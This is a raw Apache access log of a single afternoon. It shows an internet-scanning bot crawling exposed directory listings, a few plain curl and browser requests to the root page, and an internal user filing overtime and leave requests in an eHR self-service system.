100.64.0.1 - - [03/Sep/2025:17:46:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780
100.64.0.1 - - [03/Sep/2025:17:46:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287
100.64.0.1 - - [03/Sep/2025:17:46:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392
100.64.0.1 - - [03/Sep/2025:17:46:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288
100.64.0.1 - - [03/Sep/2025:17:46:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398
100.64.0.1 - - [03/Sep/2025:17:46:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290
100.64.0.1 - - [03/Sep/2025:17:46:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526
100.64.0.1 - - [03/Sep/2025:17:46:38 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302
100.64.0.1 - - [03/Sep/2025:17:46:38 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:38 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771
100.64.0.1 - - [03/Sep/2025:17:46:38 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:39 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:39 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295
100.64.0.1 - - [03/Sep/2025:17:46:39 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:39 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813
100.64.0.1 - - [03/Sep/2025:17:46:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298
100.64.0.1 - - [03/Sep/2025:17:46:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525
100.64.0.1 - - [03/Sep/2025:17:46:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:41 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:41 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290
100.64.0.1 - - [03/Sep/2025:17:46:41 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399
100.64.0.1 - - [03/Sep/2025:17:46:41 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:42 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:42 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309
100.64.0.1 - - [03/Sep/2025:17:46:42 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:42 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241
100.64.0.1 - - [03/Sep/2025:17:46:42 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:42 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 313
100.64.0.1 - - [03/Sep/2025:17:46:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528
100.64.0.1 - - [03/Sep/2025:17:46:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313
100.64.0.1 - - [03/Sep/2025:17:46:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528
100.64.0.1 - - [03/Sep/2025:17:46:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276
100.64.0.1 - - [03/Sep/2025:17:46:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [03/Sep/2025:17:46:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281
100.64.0.1 - - [03/Sep/2025:17:46:45 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:46:45 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:46:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 15401
100.64.0.1 - - [03/Sep/2025:17:46:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 15401 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:46 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:46 +0800] "GET /eHR1 HTTP/1.1" 301 240
100.64.0.1 - - [03/Sep/2025:17:46:47 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:47 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:17:46:47 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:47 +0800] "GET /eHRTEST HTTP/1.1" 301 243
100.64.0.1 - - [03/Sep/2025:17:46:47 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:47 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:17:46:48 +0800] "GET /eHR HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:48 +0800] "GET /eHR HTTP/1.1" 301 239
100.64.0.1 - - [03/Sep/2025:17:46:48 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:48 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:17:46:52 +0800] "PRI * HTTP/2.0" 400 226
100.64.0.1 - - [03/Sep/2025:17:46:52 +0800] "PRI * HTTP/2.0" 400 226 "-" "-"
100.64.0.1 - - [03/Sep/2025:17:46:52 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:17:46:52 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:46:53 +0800] "GET /security.txt HTTP/1.1" 404 210
100.64.0.1 - - [03/Sep/2025:17:46:53 +0800] "GET /security.txt HTTP/1.1" 404 210 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:17:48:56 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:48:56 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:49:03 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:49:03 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:49:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:17:49:51 +0800] "GET / HTTP/1.1" 200 439
192.168.11.35 - - [03/Sep/2025:17:53:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [03/Sep/2025:17:53:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:53:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [03/Sep/2025:17:53:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:54:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:54:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [03/Sep/2025:17:54:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [03/Sep/2025:17:54:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:54:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [03/Sep/2025:17:54:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:54:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:54:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.35 - - [03/Sep/2025:17:54:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9309740472415571 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:54:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9309740472415571 HTTP/1.1" 200 8728
192.168.11.35 - - [03/Sep/2025:17:54:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9309740472415571 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9309740472415571" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:54:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9309740472415571 HTTP/1.1" 200 14146
192.168.11.35 - - [03/Sep/2025:17:54:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:54:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060
192.168.11.35 - - [03/Sep/2025:17:54:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.35 - - [03/Sep/2025:17:54:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:55:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9869563234172298 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:55:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9869563234172298 HTTP/1.1" 200 8728
192.168.11.35 - - [03/Sep/2025:17:55:14 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9869563234172298 HTTP/1.1" 200 14146
192.168.11.35 - - [03/Sep/2025:17:55:14 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9869563234172298 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9869563234172298" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:55:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4192 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:55:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4192
192.168.11.35 - - [03/Sep/2025:17:55:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8243 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:55:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8243
192.168.11.35 - - [03/Sep/2025:17:55:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 88037
192.168.11.35 - - [03/Sep/2025:17:55:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 88037 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:17:55:42 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:17:55:42 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.11.35 - - [03/Sep/2025:17:55:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:55:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.35 - - [03/Sep/2025:17:55:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166275 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:17:55:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166275
100.64.0.1 - - [03/Sep/2025:17:56:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:56:24 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:57:40 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:17:57:40 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:57:42 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:17:57:42 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:02:37 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:02:37 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:03:47 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:18:03:47 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:06:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:18:06:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:06:38 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:06:38 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:06:44 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:06:44 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:08:35 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:08:35 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:13:14 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:13:14 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:15:41 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:15:41 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:15:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
